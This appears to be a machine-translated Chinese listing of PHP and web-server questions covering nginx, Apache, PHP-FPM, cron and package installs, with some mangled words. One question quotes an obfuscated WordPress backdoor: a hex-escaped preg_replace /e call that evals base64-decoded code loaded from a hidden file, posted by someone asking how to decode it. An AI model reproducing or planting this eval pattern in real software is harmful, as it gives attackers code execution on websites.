Articles of PHP

为什么PHP $ _REQUEST数组是空的?

我在Ubuntu Hardy上安装了nginx,并立即意识到PHP脚本获得了空的请求数组,即无论GET或POST什么都没有通过,甚至$ _REQUEST数组也是空的。 当我切换回Apache,这一切都很好。 安装nginx的版本是0.6.35-0ubuntu1.1〜hardy1,PHP是PHP 5.2.4-2ubuntu5.10。 什么可能是错的?

我如何解码这个WordPress黑客?

我在客户端的WordPress驱动的网站上发现了一个有问题的string,我只是想知道它做了什么。 @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75"); 有人可以概述解码这个步骤吗? 我知道preg_replace()是什么,但我不知道如何解码函数的参数,或者PHP如何处理它可以利用的东西。

如何升级到Windows Server 2008上的PHP 5.5

在Windows上从PHP版本5.4.32升级到PHP版本5.5.22的正确方法是什么? 所有我能find的是如何安装。 PHP已经在Windows Server 2008 R2 64位上与IIS一起运行,只需要转到更新版本的PHP

Apache和多个PHP-FPM池

我有两个站点,我在Ubuntu 12.04上使用PHP-FPM 5.4从apache 2.2 vhosts运行。 到目前为止,我一直在使用服务器范围的(stock)mod_fastcgiconfiguration,但是现在我想把它分成两个FPM池,这样我就可以为每个configuration使用不同的PHP设置(例如,一个是dev站点,所以启用了错误显示)。 我已经根据文档设置了两个具有不同名称和套接字位置的FPM池,禁用全局fastcgiconfiguration,将其复制到我的虚拟主机中,并将其更改为指向每个虚拟主机的不同池,如下所示: <IfModule mod_fastcgi.c> <FilesMatch \.php$> SetHandler php-script </FilesMatch> Action php-script /php5.fcgi virtual Alias /php5.fcgi /var/fastcgi/php5.fcgi FastCGIExternalServer /var/fastcgi/php5.fcgi -socket /var/run/php5-fpm-www.sock <Directory "/var/fastcgi"> Order allow,deny <Files "php5.fcgi"> Order deny,allow Deny from all Allow from env=REDIRECT_STATUS </Files> </Directory> </IfModule> 实际上有4个虚拟主机,因为每个主机名都具有常规和SSL风格,并且每个虚拟主机指向一个FPM池。 我碰到的问题是,Apache抛出一个错误说: FastCgiExternalServer: redefinition of previously defined class "/var/fastcgi/php5.fcgi" 这应该怎么做?

PHP作为CGI或Apache模块?

我一直认为PHP可以更好地安装为Apache模块,但是最近在本地论坛上有人指出,将PHP作为CGI运行更安全。 我做了一些Googlesearch,似乎Dreamhost默认PHP安装通过CGI工作 。 现在我有点困惑。 据我所知(我不是系统pipe理员,只是一个Web开发人员),当PHP作为Apache模块安装时,存在用户权限问题。 而通过CGI(或者是)使用PHP的时候存在速度问题。 现在安装PHP的推荐方式是什么? 在共享和专用主机上。

Apache被某些请求“堵塞”了

我有一个非常奇怪的间歇性问题。 它发生在运行CentOS和Apache / 2.2.8的共享托pipe服务器上,主要以10-30个请求/秒的速率为基于PHP的网站提供服务。 3.5 GB内存,内核2.6.9-67.0.7ELsmp,以防万一。 会发生什么事情,大约每周一次(但看似随机没有关联),Apache将“堵塞”处理请求只有一个域,通常大部分的重新testing都是为同一个url。 我知道问题的发生是因为负载通过屋顶。 (负载达到50或100,如果我不停止加载命中200!)只修复我发现是: killall -9 httpd; /etc/init.d/httpd restart killall -9 httpd; /etc/init.d/httpd restart 。 如果在发生这种情况时检查/服务器状态,则输出类似于以下内容。 请注意,这并不总是发生在这个网站,但约75%的时间,这个网站的罪魁祸首: 编辑 :这是现在发生在一个完全不同的服务器,所以它不是特定于给定的脚本。 更新:我们已经把这台服务器上的所有站点都移到了一个全新的硬件虚拟机上。 更快的磁盘,更多的内存。 问题依然存在,实际上更糟糕! 有任何想法吗? 我很乐意提供一个正确的答案巨大的赏金,但我不愿意提供一个,因为这个问题已经走了多年,没有正确的答案在眼前。 Apache Server Status for localhost Server Version: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.7a DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6 mod_perl/2.0.4 Perl/v5.8.8 Server Built: Jun 7 2008 09:35:37 Current Time: […]

每次运行时,Cron都会创build空文件

我有一个PHP脚本,我想运行每一分钟,看看是否有需要张贴的新闻稿。 我在cPanel中使用“wget”作为cron命令,但是我注意到(几天之后),它在每次运行时都在主目录中创build一个空白文件。 有什么我需要阻止发生? 谢谢。

如何让Nginx将所有不存在的文件请求redirect到单个php文件?

我有以下nginx的vhostconfiguration: server { listen 80 default_server; access_log /path/to/site/dir/logs/access.log; error_log /path/to/site/dir/logs/error.log; root /path/to/site/dir/webroot; index index.php index.html; try_files $uri /index.php; location ~ \.php$ { if (!-f $request_filename) { return 404; } fastcgi_pass localhost:9000; fastcgi_param SCRIPT_FILENAME /path/to/site/dir/webroot$fastcgi_script_name; include /path/to/nginx/conf/fastcgi_params; } } 我想redirect所有不匹配存在的文件的请求到index.php。 目前对于大多数URI来说,这个工作正常,例如: example.com/asd example.com/asd/123/1.txt asd或asd/123/1.txt都不存在,所以他们被redirect到index.php,并且工作正常。 然而,如果我把example.com/asd.php放在url中,它会尝试寻找asd.php ,当它找不到它时,它会返回404而不是将请求发送到index.php 。 有没有办法让asd.php也发送到index.php如果asd.php不存在?

如何在PHP 5.4.9-4上安装php-xml和php-mbstring?

我已经将PHP5添加到了UBUNTU 12.04 sudo add-apt-repository ppa:ondrej/php5 -y 并安装了PHP5 php5 php5-common php5-mysql php5-xmlrpc php5-cgi php5-curl php5-gd php5-cli php5-fpm php-apc php-pear php5-dev php5-imap php5-mcrypt 但是我找不到两个包 php-xml and php-mbstring 任何想法如何被称为现在? 非常感谢,

什么是一个PHP的Web服务器最好的Linux发行版?

我们计划升级我们的硬件,同时我们计划从新的操作系统重新安装我们的所有networking服务器。 目前我们的networking服务器在专用服务器上运行在CentOS 4.7上。 我们使用Apache,Mysql,PHP,SVN,FTP和通过SSHpipe理的Web服务器所需的所有工具。 我们计划为新的Web服务器使用云服务器。 我不知道要为这个新服务器采用哪种Linux发行版。 我应该留在Centos,只是采取最新版本5.4,或者我应该切换到其他的东西像Debian基地发行版(Ubuntu服务器)? 我不喜欢CentOS的东西是在Yum上没有最新版本的PHP和Apache的可用性。 这使我们的networking服务器更新与最新的技术更难… 谢谢你的帮助!